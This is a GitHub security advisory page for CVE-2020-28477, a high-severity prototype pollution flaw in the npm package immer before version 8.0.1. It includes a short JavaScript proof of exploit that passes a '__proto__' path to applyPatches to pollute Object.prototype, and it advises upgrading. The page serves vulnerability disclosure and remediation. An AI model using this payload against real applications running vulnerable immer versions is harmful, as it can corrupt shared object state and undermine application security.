Skip to content

Prototype Pollution in immer

High severity GitHub Reviewed Published Jan 20, 2021 to the GitHub Advisory Database • Updated Feb 1, 2023

Package

npm immer (npm)

Affected versions

< 8.0.1

Patched versions

8.0.1

Description

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

References

Published by the National Vulnerability Database Jan 19, 2021
Reviewed Jan 20, 2021
Published to the GitHub Advisory Database Jan 20, 2021
Last updated Feb 1, 2023

Severity

High

Weaknesses

CVE ID

CVE-2020-28477

GHSA ID

GHSA-9qmh-276g-x5pj

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.